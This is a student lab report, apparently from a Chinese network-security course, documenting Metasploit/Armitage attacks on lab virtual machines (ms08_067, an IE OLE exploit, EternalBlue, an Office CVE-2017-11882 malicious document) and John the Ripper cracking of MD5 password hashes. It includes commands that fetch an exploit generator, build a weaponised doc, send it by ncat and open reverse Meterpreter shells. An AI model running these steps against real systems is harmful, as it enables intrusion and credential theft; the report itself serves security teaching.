2017-2018-2 20155314《網絡對抗技術》Exp5 MSF基礎應用

2017-2018-2 20155314《網絡對抗技術》Exp5 MSF基礎應用

目錄

返回目錄html

實驗內容

本實踐目標是掌握metasploit的基本應用方式,重點經常使用的三種攻擊方式的思路。具體須要完成:python

  1. 一個主動攻擊實踐,如ms08_067(1分)
  2. 一個針對瀏覽器的攻擊,如ms11_050(1分)
  3. 一個針對客戶端的攻擊,如Adobe(1分)
  4. 成功應用任何一個輔助模塊(0.5分)

以上四個小實踐可不限於以上示例,並要求至少有一個是和其餘全部同窗不同的,不然扣除0.5分。linux

返回目錄ios

實驗環境

  • macOS下Parallels Desktop虛擬機中(網絡源均設置爲共享網絡模式):
    • Kali Linux - 64bit(攻擊機,IP爲10.211.55.10
    • Windows 7 - 64bit(靶機,IP爲10.211.55.14
    • Windows XP Professional Version 2002 Service Pack 3(靶機,IP爲10.211.55.16

返回目錄nginx

基礎問題回答

  • 用本身的話解釋什麼是exploit,payload,encode
    • exploit:利用漏洞,將真正要負責攻擊的代碼傳送到靶機中。
    • payload:載荷,實際上就是以前咱們實驗中作到的shellcode,exploit把它傳送到靶機中後,它就負責執行相應的攻擊代碼。Skoudis在他的《決戰惡意代碼》中這樣寫道,病毒一般會作一些有害的或者惡性的動做。在病毒代碼中實現這個功能的部分叫作「有效負載」(payload)。payload能夠實現任何運行在受害者環境中的程序所能作的事情,而且可以執行動做包括破壞文件刪除文件,向病毒的做者或者任意的接收者發送敏感信息,以及提供通向被感染計算機的後門。
    • encode:編碼,主要是爲了不以前的payload中出現壞字符,從而影響payload的功能,其次是爲了實現免殺,不讓殺毒軟件很輕易的就發現payload是攻擊代碼。

返回目錄git

預備知識

  • Armitage基本介紹

    - Armitage是一款基於Java的Metasploit圖形界面化的攻擊軟件,能夠用它結合 Metasploit中已知的exploit來針對主機存在的漏洞自動化攻擊。經過命令行的方式使用Metasploit難度較高,須要記憶的命令過多,而Armitage完美的解決了這一問題,用戶只須要簡單的點擊菜單,就能夠實現對目標主機的安全測試和攻擊。Armitage良好的圖形展現界面,使得攻擊過程更加直觀,用戶體驗更好。因其操做的簡單性,尤爲適合Metasploit初學者對目標系統進行安全測試和攻擊。github

  • Armitage攻擊目標主機的的通常方法sql

    - **目標網絡掃描**:爲了肯定目標主機所在網絡結構的網絡拓撲,爲後續目標主機信息搜索和攻擊奠基基礎。
    - **目標主機信息蒐集**:爲了收集目標主機的漏洞信息,根據收集到的漏洞信息能夠利用Armitage在Metasploit中自動搜索合適的攻擊模塊。
    - **目標主機攻擊模塊搜索**:主要方法是依據發現的漏洞信息尋找能夠突破目標系統的現有漏洞利用模塊,爲具體的攻擊方案制定提供儘量多的可靠支撐。

返回目錄shell

實驗步驟——基於Armitage的MSF自動化漏洞攻擊實踐

Armitage基礎配置

  • Armitage官網妹子鎮樓:
  • 打開Kali攻擊機,在終端中輸入/etc/init.d/postgresql start命令啓動postgresql服務:
  • 輸入armitage命令啓動Armitage:

    也能夠經過菜單欄圖標直接打開Armitage! 對就是這個一臉壞笑的科技感十足的妹子233

    界面以下:
  • 因爲本次實踐中靶機的IP已知,這裏能夠直接導入靶機的IP,不過更通常的方法是根據已知信息推導出目標主機所在網段的IP,掃描目標網段完整信息,確認目標網絡拓撲結構以實施網絡偵查。依次選擇Hosts->Nmap Scan->Quick Scan(OS detect)

    填寫靶機所在網段10.211.55.0/24

    唔...這不就一樣給靶機掃出來了嗎!
  • 選中靶機10.211.55.16,右鍵選擇Services,查看靶機上開啓的服務:

    可見靶機的139端口開啓了netbios-ssn服務,445端口開啓了microsoft-ds服務~
  • 選中靶機10.211.55.16,右鍵選擇Scan,Armitage會調用Metasploit的漏洞掃描模塊,定向掃描靶機,尋找存在的漏洞,爲下一步肯定攻擊方法提供參考依據:

    可見相似前幾回實驗在Metasploit中手動配置主機號、端口號等設置如今通通直接自動化了!
  • 利用上一步中漏洞掃描獲得的漏洞信息,自動搜索Metasploit攻擊模塊庫,尋找合適的攻擊模塊。選中靶機10.211.55.16,依次選擇菜單欄Attacks->Find Attacks,Armitage會開始自動搜索尋找合適的攻擊模塊:
  • 搜索完成,Happy hunting^_^

    返回目錄

ms08_067_netapi:自動化漏洞溢出攻擊實踐

  • ms08_067漏洞介紹:windows

    This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing. Windows XP targets seem to handle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in development.

    • ms08_067_netapi是一款Metasploit中有點老的溢出攻擊載荷,攻擊能夠得到一個相對高的權限。
  • 在利用Armitage完成對靶機的攻擊模塊自動化搜索之後,選中10.211.55.16主機右鍵能夠發現多了Attack菜單。依次選擇Attack->smb->ms08_067_netapi菜單,選擇smb漏洞下的ms08_067漏洞對XP靶機進行攻擊(也能夠在Armitage左側樹型目錄下依次選擇exploit->windows->smb->ms08_067_netapi找到該漏洞):
  • 在彈出的攻擊配置對話框中配置LHOST/RHOST、LPORT/RPORT等信息(通常會自動配置好,這裏把LPORT改爲學號),Targets處配置靶機的系統(通常默認自動檢測靶機系統),勾選Use a reverse connection,點擊Launch開始攻擊:
  • Armitage會進行一系列自動化攻擊!攻擊完成後,能夠看到靶機的圖標會發生明顯變化:
  • Armitage會自動創建一個駐留在內存的shellcode即Meterpreter。在攻擊成功的靶機上右鍵選擇Meterpreter 1->Interact->Command Shell,輸入dir命令查看靶機C:\WINDOWS\system32目錄下的系統文件:

    攻擊完成(⁎⁍̴̛ᴗ⁍̴̛⁎):
  • 在攻擊成功的靶機上右鍵選擇Meterpreter 1->Interact->Meterpreter Shell,輸入getuid命令查看靶機當前用戶的權限是SYSTEM權限:

    攻擊完成(⁎⁍̴̛ᴗ⁍̴̛⁎):

返回目錄

ms14_064_ole_code_execution:IE漏洞自動化攻擊實踐

  • ms14_064_ole_code_execution漏洞簡介:

    This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332. The vulnerability is known to affect Internet Explorer 3.0 until version 11 within Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will only target Windows XP and Windows 7 box due to the Powershell limitation. Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other newer Windows systems, the exploit will try using Powershell instead.

  • 在Armitage左側樹型目錄下依次選擇exploit->windows->browser->ms14\_064\_ole\_code\_execution找到該漏洞並雙擊打開配置界面開始配置。注意!此處須要把AllowPowershellPrompt置爲1!!而後配置好LHOST/RHOST、LPORT/RPORT等信息(把LPORT改爲學號,其他均取默認值),Targets處配置靶機的系統Windows XP,點擊Launch開始攻擊:
  • Armitage會進行一系列自動化攻擊!
  • 靶機打開IE瀏覽器,輸入meterpreter提供的URLhttp://10.211.55.10:8080/0KO2YrGZdZ1viW/SrEsdO/並回車,在靶機看來彷佛並無發生什麼!然而此時Armitage中靶機的圖標已發生明顯變化,代表Kali攻擊機已攻擊成功!!

  • 開始操做一波吧^_^在攻擊成功的靶機上右鍵選擇Meterpreter 1,發現除了上個攻擊實踐中查看Command ShellMeterpreter Shell功能以外,還具備查看瀏覽器文件、進程、截屏等功能!
    • 選擇Explore->Browse Files查看瀏覽器文件:
    • 選擇Explore->Show Processes查看靶機進程(這個比較有用啊emmm):
    • 選擇Explore->Screenshot進行截屏(據說你是截屏狂魔?):
    • 選擇Explore->Webcam shot調一波網絡攝像頭(顏控必備233):

      什麼?!居然沒裝攝像頭!欺騙我感情啊o(︶︿︶)o

返回目錄

ms17_010_eternalblue:「永恆之藍」自動化攻擊實踐

  • ms17_010_eternalblue漏洞介紹:

    This module is a port of the Equation Group ETERNALBLUE exploit, part of the FuzzBunch toolkit released by Shadow Brokers. There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later completed in srvnet!SrvNetWskReceiveComplete. This exploit, like the original may not trigger 100% of the time, and should be run continuously until triggered. It seems like the pool will get hot streaks and need a cool down period before the shells rain in again. The module will attempt to use Anonymous login, by default, to authenticate to perform the exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use those instead. On some systems, this module may cause system instability and crashes, such as a BSOD or a reboot. This may be more likely with some payloads.

    • 百度上EternalBlue通常指去年爆發的WannaCry勒索病毒,其實是該勒索病毒軟件利用了NSA泄露的危險漏洞EternalBlue進行傳播。關於WannaCry詳見WannaCry - 百度百科以及我去年寫的博客應對WannaCry勒索危機之關閉445端口等危險端口——以本人Windows7系統爲例
    • 原理:
      • 利用Metasploit中近期更新的針對ms17-101漏洞的攻擊載荷進行攻擊獲取主機控制權限。
      • 利用windows系統的Windows SMB遠程執行代碼漏洞向Microsoft服務器消息塊(SMBv1)服務器發送經特殊設計的消息,能容許遠程代碼執行。
    • 主要用途:
      • Windows的SMBv一、SMBv2遠程溢出漏洞,對應MS17_010,主要針對445端口
    • 影響範圍:
      • 較廣,從WindowsXP到Windows server 2012
  • 在Armitage菜單欄依次選擇Hosts->Nmap Scan->Quick Scan(OS detect)並填寫靶機所在網段10.211.55.0/24搜索存活的主機:

    發現兩臺能夠攻擊的靶機,一臺XP(IP爲10.211.55.16)一臺win7(IP爲10.211.55.14):
  • 依次選擇菜單欄Attacks->Find Attacks,Armitage會開始自動搜索靶機尋找合適的攻擊模塊,對於win7右鍵依次選擇Attack->smb,能夠發現Armitage提供了5個可供攻擊的smb漏洞,選擇check exploits檢查這些漏洞是否能被攻擊:

    能夠看到除了第一個漏洞ipass_pipe_exec沒有檢測結果不知道可否進行攻擊以外其餘4個所有陣亡,要麼不可利用(not exploitable)要麼檢測不出來(not support check):


    並無找到所謂的eternalblue,怎麼破?
  • 彆着急,這裏咱們仍是在Armitage左側樹型目錄下依次選擇exploit->windows->smb->ms17_010_eternalblue找到傳說中的eternalblue永恆之藍並雙擊打開配置界面,相關配置均用默認值便可:

    特別注意的是,eternalblue是針對445端口進行攻擊的,攻擊成功與否關鍵在於靶機是否開放了這個端口!!!
  • 點擊Launch開始攻擊win7:


    攻擊不成功?!再來!
  • 從新雙擊打開eternalblue配置界面,勾選Use a reverse connection,點擊Launch開始攻擊:

    看看win7靶機的圖標,攻擊成功!!!

    查看session並進入,獲取shell:

    接下來該幹什麼,你懂的^_^Happy hunting^_^
  • 不過另外一臺靶機就沒那麼給面子了,可能因爲eternalblue只能攻擊Windows 7和Windows server 2008,攻擊xp時會顯示操做系統不匹配攻擊不成功(._.)

返回目錄

office_ms17_11882:Office漏洞自動化攻擊實踐

  • Microsoft Office CVE-2017-11882漏洞介紹:

    Module exploits a flaw in how the Equation Editor that allows an attacker to execute arbitrary code in RTF files without interaction. The vulnerability is caused by the Equation Editor, to which fails to properly handle OLE objects in memory.

    • 這是一個潛伏了17年之久的遠程代碼執行漏洞。該漏洞爲Office內存破壞漏洞,影響目前流行的全部Office版本。原理是利用了Office的一個EQNEDT32.EXE(公式編輯器)組件,攻擊者可以以當前登陸的用戶的身份執行任意命令。詳細請參照打開文檔變肉雞:潛伏17年的「噩夢公式」Office漏洞攻擊分析
    • CVE-2017-11882漏洞影響版本:
      • Office 365
      • Microsoft Office 2000
      • Microsoft Office 2003
      • Microsoft Office 2007 Service Pack 3
      • Microsoft Office 2010 Service Pack 2
      • Microsoft Office 2013 Service Pack 1
      • Microsoft Office 2016
  • 在win7靶機上安裝Microsoft Office 2016:
  • 在Kali攻擊機中依次輸入如下命令生成doc測試文件:
    • 安裝啓動nginx:
      apt-get install nginx
      cd /usr/share/nginx/html/
      systemctl start nginx
    • 下載生成doc的python腳本:
      git clone https://github.com/Ridter/CVE-2017-11882.git
      cd CVE-2017-11882/
    • 生成測試文件cve.doc(靶機在打開該測試文件時同時會自動打開計算器程序calc.exe,以驗證Office CVE-2017-11882漏洞的存在):
      python Command43b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o cve.doc
    • cve.doc放到網站根目錄:
      cp cve.doc /usr/share/nginx/html/
      ls /usr/share/nginx/html/
  • 用ncat向靶機發送cve.doc
    • win7靶機用命令行進入ncat目錄,打開監聽:
      ncat.exe -lv 5314 > cve.doc
    • Kali攻擊機創建鏈接並傳輸:
      ncat -nv 10.211.55.14 5314 < cve.doc
  • 靶機進入ncat目錄,打開cve.doc,成功彈出calc.exe計算器程序,測試成功:

  • 在Armitage左側樹型目錄下依次選擇exploit->windows->fileformat->office\_ms17\_11882找到該漏洞並雙擊打開配置界面開始配置,注意有兩處配置須要手動修改:
    • FILENAME+一欄填寫生成doc文件的名字cve2.doc
    • 設置URI路徑時要與上面生成doc時配置的路徑一致!
  • 點擊Launch開始自動化攻擊流程:
  • 注意這條提示信息!它指明瞭剛剛MSF生成的cve2.doc所在路徑!

    而後咱們進入該目錄並用ncat把cve2.doc傳到靶機上:
  • win7靶機進入ncat目錄,打開cve2.doc,觸發訪問10.211.55.10:8080/5314就會獲得反彈到5314端口的TCP會話:


    因而可憐的靶機又被我攻陷了哈哈哈哈哈!!

    來抓個屏笑一個?^_^

返回目錄

John the Ripper_linux口令破解模塊:Armitage下Auxiliary輔助模塊應用

  • jtr_linux密碼破解模塊簡介:

    This module uses John the Ripper to identify weak passwords that have been acquired from unshadowed passwd files from Unix systems. The module will only crack MD5 and DES implementations by default. Set Crypt to true to also try to crack Blowfish and SHA implementations. Warning: This is much slower.

    • 用途:最流行的口令破解器,用於破解弱口令Hash(默認只破解MD5和DES,將Crypt選項置爲true也可以慢速破解Blowfish和SHA)
  • John the Ripper簡介:

    The John The Ripper module is used to identify weak passwords that have been acquired as hashed files (loot) or raw LANMAN/NTLM hashes (hashdump). The goal of this module is to find trivial passwords in a short amount of time. To crack complex passwords or use large wordlists, John the Ripper should be used outside of Metasploit. This initial version just handles LM/NTLM credentials from hashdump and uses the standard wordlist and rules.

    • JTR官網:John the Ripper - Metasploit Unleashed
    • 原理:JTR(以及任何離線密碼破解器)的工做方式是計算列表(或所生成的)單詞的Hash,並將它們與須要被破解的Hash對比,當存在匹配時它就假設密碼找到了。
  • 首先咱們須要以特定格式設置用戶名和密碼Hash(這裏選擇用MD5在線生成):
    • 訪問MD5在線加解密網站CMD5,在上方【密文】處輸入一段字符串,下方【查詢結果】處就當即顯示出結果(只要不超過31位,不然會卡住233):
    • 分別將不一樣用戶名對應的密碼通過MD5在線加密以後獲得Hash值,得到下面這張表:

      用戶名 密碼 Hash
      admin admin 21232f297a57a5a743894a0e4a801fc3
      user user ee11cbb19052e40b07aac0ca060c23ee
      Tom password 5f4dcc3b5aa765d61d8327deb882cf99
      jtr_linux abc123 e99a18c428cb38d5f260853678922e03
      20155314 qwertyu123. 682e9cfe26d949a10009cfc9969076ad
      kxjsjc@163.com kxjsjc_wx_1553 d80b3f4f2517d9a3ecf2a1e8031f6ff1
  • 在Kali攻擊機中新建一個名爲hashes.txt的文本文件,把表中信息添加進去,每行包含一個用戶名和一個Hash,以:分隔(username:hash):
  • 在Armitage左側樹型目錄下依次選擇auxiliary->analyze->jtr_linux並雙擊打開開始配置,配置好JOHN_PATH而後點Launch
  • show options命令還能夠查看模塊的有效選項及其詳細描述:
  • Armitage會爲咱們生成一個單詞列表文件WordList,可是不知道什麼緣由它並無識別出個人hashes.txt而報錯:(
  • 此時咱們手動使用剛剛Armitage生成的單詞列表進行破解,打開終端並執行如下命令:
    john --wordlist=/tmp/jtrtmp20180502-5917-ctqwpk --format=raw-md5 hashes.txt

    能夠看到單詞列表中6個口令破解了4個。咱們還能看出,John每秒能嘗試10,013,000次(10,013KC/s)!!!
  • 至於剩下的兩個,多是我把密碼設置得太複雜的緣由吧一直沒破解出來(ー ー;)將--wordlist選項去掉採用暴力破解的方式也一直沒跑出來(ー ー;)時間緣由跑了不到10分鐘就被我掐掉了感受速度仍是比彩虹表要慢不少啊(ー ー;)

返回目錄

實驗中遇到的問題及解決過程

啓動Armitage時報錯提示Could not connect to database

解決方案

  • 根據提示在終端中輸入/etc/init.d/postgresql start命令啓動postgresql服務,重啓Armitage便可:

返回目錄

實驗總結與體會

  Hacker的漏洞攻擊也不是萬能的。本次漏洞攻擊實驗讓我感到很是疲憊,從週三開始裝各類虛擬機挨個找漏洞一直弄到週六纔可貴成功第一次攻擊。在作第一個ms08_067漏洞攻擊時,首先是靶機操做系統的選擇上,因爲第一個常用的win7虛擬機已在清明假期被我用騰訊電腦管家打好了補丁極可能沒辦法實施攻擊,所以我先拿PKI實驗課上裝的沒有任何安全防禦的win7客戶機作試驗,發現不行,那就換xp試試唄!而後我便用硬盤裏珍藏多年的xp professional鏡像安裝了一個xp虛擬機,興高采烈地配置好Armitage,一攻擊發現仍是不行!!最後問了不少大佬才知道用英文版的xp能夠成功,但這我仍是攻擊了好幾回的結果……而「永恆之藍」的攻擊更是連xp都不行而只能用PKI的win7虛擬機才能完成……總的來講,漏洞攻擊因「機」而異,尋找漏洞更是徹底取決於Hacker的眼力和本領。網絡攻防其實就是「找漏洞」和「堵漏洞」之間的較量,而所謂「道高一尺魔高一丈」,漏洞攻擊更具備先手優點。現在,在安全技術已經比較成熟的幾大主流操做系統又在各類知名殺軟的保護加持之下,每每被用戶認爲相對「安全」,但一個新漏洞的發現每每能引發軒然大波,拿到「黑市」中去賣能一晚上暴富;更有甚者如去年不法分子利用NSA武器庫泄漏的危險漏洞「永恆之藍」製做出一款蠕蟲式勒索病毒軟件WannaCry並藉助網絡大範圍傳播,鎖定被感染用戶的系統、加密所有數據並向直接其索取高額比特幣,致使一場全球性互聯網災難!
  給咱們的啓示在於,打補丁的方式雖然能夠防範漏洞攻擊,但這畢竟是被動的,是在攻擊發生以後採起的行爲。首先從源頭上來講,操做系統研發者就不該該讓這些攻擊成爲可能,但無奈地球上畢竟不存在完美的程序猿,寫代碼時不免會產生bug。從安全人員的角度來看,要保護一個系統,必須主動一點,像Hacker那樣並搶在Hacker以前對當前系統可能存在的全部漏洞進行檢測,把漏洞堵起來,不安全的因素找出來,各類安全屏障立起來,讓Hacker無機可乘!


最後仍是要感謝一下一路陪我走來的Mac,他的性能足夠強勁以致於讓我能同時開3個虛擬機作滲透測試(>_<)辛苦啦(>_<)

注:實驗六主要部分已在本篇博客中有所體現,其他實踐內容請參見2017-2018-2 20155314《網絡對抗技術》Exp6 信息蒐集與漏洞掃描

返回目錄

參考資料

返回目錄

相關文章
相關標籤/搜索